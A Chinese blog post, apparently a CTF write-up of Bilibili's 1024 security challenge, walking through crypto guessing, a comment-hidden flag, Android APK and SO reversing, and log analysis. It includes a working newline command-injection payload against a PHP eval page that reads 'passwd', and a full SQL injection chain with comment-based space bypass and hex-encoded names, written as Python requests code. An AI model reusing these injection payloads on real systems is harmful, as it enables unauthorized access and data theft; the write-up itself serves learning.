最近看到哔哩哔哩上线了一个 1024 程序员节的活动，其中有一个技术对抗赛，对抗赛又分为算法与安全答题和安全攻防挑战赛，其中安全攻防挑战赛里面有 7 个题，其中有 APP 逆向和解密的题目，作为爬虫工程师，逆向分析的技能也是必须要有的，于是 K 哥就以爬虫工程师的角度，尝试做了一下其中逆向相关的两个题，发现逆向不是很难，分享一下思路给大家。

（以爬虫工程师的角度分析安全攻防的题，网安大佬勿喷！部分题目解题思路来源于网安大佬）

第一题就给了一串密文，什么提示也没有，作为爬虫工程师，K 哥熟练的打开了 F12，翻了翻源码，这里是一个 form 表单，​​method="post"​​，下面还有一个 id 为 success 的 div 标签，于是初步怀疑是不是把密文解密后发送个 POST 请求，然后 flag 就会显示在这个 id 为 success 的 div 标签下呢？有了想法，K 哥就熟练的翻起了 JS 代码，因为我们爬虫遇到最多的就是 JS 加密嘛，然后发现就加载了 jQuery 和一个 common.js 文件，无论是搜索标签还是怎样，都没有什么有用的信息。

既然不存在 JS 加密，那应该就是硬解密文了，观察这是两段 48 位的密文，也有可能是一段 96 位的密文，而且没有 == 之类的特殊符号，那么就不可能是最简单的 MD5，不过 K 哥还是试了试，将其拆成 6 个 16 位、3 个 32 位等组合，发现都不是 MD5，于是又尝试了多种加密算法，一段作为 KEY，一段作为密文，或者整段组合成密文，SHA、HMAC、RC4 等算法都不行，再仔细观察网页，K 哥怀疑这个 happy_1024_2233 是不是也是加密的一部分呢？会不会是盐值（IV 值，也叫偏移量）？会不会它才是 KEY？结果多种尝试，最终才得出结论：

解密结果（flag）：​​a1cd5f84-27966146-3776f301-64031bb9​​

有关各种加密算法原理与实现可以查看 K 哥往期的文章：​​【爬虫知识】爬虫常见加密解密算法​​

第二题的 flag 是 ​​36c7a7b4-cda04af0-8db0368d-b5166480​​，就在 home.vue 页面的注释里，如下图所示：

第三题说 PHP 是世界上最好的语言，给了个 eval.php，如图所示：

本题解题思路来源于网安大佬，下载 eval.php，可以看到正则 ​​/^\w+$/​​，这个可以用结尾接换行符匹配，然后就可以换行用 Linux 命令了：

使用根目录命令 ls 一下，向 ​​http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls​​ 发送 GET 请求：

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls"response = requests.get(url=url)print(response.text)

返回内容：

flag 在 passwd 里，其他就不看了，所以直接使用 Linux 命令 cat passwd，向 ​​http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd​​ 发送 GET 请求：

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd"response = requests.get(url=url)print(response.text)

返回 flag：​​9d3c3014-6c6267e7-086aaee5-1f18452a​​

本题解题思路来源于网安大佬，给的网址和第二题一样，找一下网页上的按钮，点日志信息可看到日志请求，可以从日志 api 入手，抓包日志 api 为：​​https://security.bilibili.com/sec1024/q/admin/api/v1/log/list​​，绕过空格过滤尝试通过且回显，Python 发送 POST：

（PS：注意每次请求 user_name 字段的变化）

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,5", "action": "", "page": 1, "size": 20}

response = requests.post(url=url, json=json_data)print(response.text)

返回内容：

获取表名：

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#", "action": "", "page": 1, "size": 20}

response = requests.post(url=url, json=json_data)print(response.text)

返回内容，可以得到 flag、log、user：

获取 flag 表的字段，由于不能引号所以用十六进制绕过，flag 十六进制即 ​​666c6167​​：

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#", "action": "", "page": 1, "size": 20}

response = requests.post(url=url, json=json_data)print(response.text)

返回内容可以得到一个字段，id：

最后直接拿下 flag：

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#", "action": "", "page": 1, "size": 20}

response = requests.post(url=url, json=json_data)print(response.text)

返回内容 ​​3d5dd579-0678ef93-18b70cae-cabc5d51​​ 为 flag：

第五题是一个安卓逆向题，如图所示：

扔到模拟器看看，大概是输入账号密码，错误的话提示“还差一点点~~”，正确的话应该就能拿到 flag 了。

直接把 apk 扔到 JADX 里看看，没有混淆，代码一目了然，尤其这个 Encrypt 最为显眼：

分析代码：MainActivity.java 里，输入账号密码赋值给 obj 和 obj2，再依次调用 Encrypt.java 里的方法进行按位异或 3 的运算和 base64 编码，然后使用 ​​Arrays.equals​​​ 方法将处理后的账号密码与正确的账号密码进行对比，正确就输出 bilibili- ( ゜- ゜)つロ 乾杯~，不是很复杂，可以使用 Java 复现，也可以使用 Python 逆向倒推正确的账号密码，使用 Python 复现的时候要注意，给出的正确账号密码是 Java 的两个字节数组，在 Python 中是没有字节数组这个概念的，Python 和 Java 字节的取值范围也不同，Python3 是 ​​0~256​​​，Java 是 ​​-127~128​​，所以在转换的时候注意需要移动 256 位，Python 推导完整代码如下：

byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]

byte_arr1_ = bytes(b % 256 for b in byte_arr1)byte_arr2_ = bytes(b % 256 for b in byte_arr2)

bs64_arr1 = base64.b64decode(byte_arr1_)bs64_arr2 = base64.b64decode(byte_arr2_)

username = password = ""

for i in range(len(bs64_arr1)): username += chr(bs64_arr1[i] ^ 3)

for i in range(len(bs64_arr2)): password += chr(bs64_arr2[i] ^ 3)

print("username: ", username)print("password: ", password)print("flag: ", username + "-" + password)

输出：

在模拟器 APP 中输入账号密码测试成功：

第五题和第六题题目虽然是一样的，但是 flag 不一样，第六题需要逆向 SO，会验证 abi 和系统版本，改 build.prop，ro.product.cpu.abi 为 x86，ro.build.version.release 为 9，然后再创建 /data/2233，4 byte 一组就会变成 flag：​​b13981f4-5ae996d4-bc04be5b-34662a78​​

最后一题是找到所有的恶意 IP 后，通过通过英文逗号分隔成一个字符串后提交，系统会根据提交的 IP 正确数计算分数，这个题不知道具体怎么判断，K 哥尝试了使用 Python 把所有 IP 提取出来之后放到 Excel 里找出重复次数过多的 IP：

​​bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc​​

这个答案只得了 10 分，实际上好像只要有一个正确的就是 10 分，满分是 20 分，可能有错的或者少的，这个题肯定没这么简单，肯定还要利用其他判断方法的，比如判断 UA、Path、Referer、同一个 UA 不同 IP 多次访问等，如果有思路的大佬可以评论讲一下。

部分题目比较简单，只不过没有提示，像第一题就需要熟练掌握各种加密算法才能很快推断出加密方式，否则只能一个一个去试了，剩下的题就需要一定的网络安全知识了，各位爬虫大佬们也可以去试试。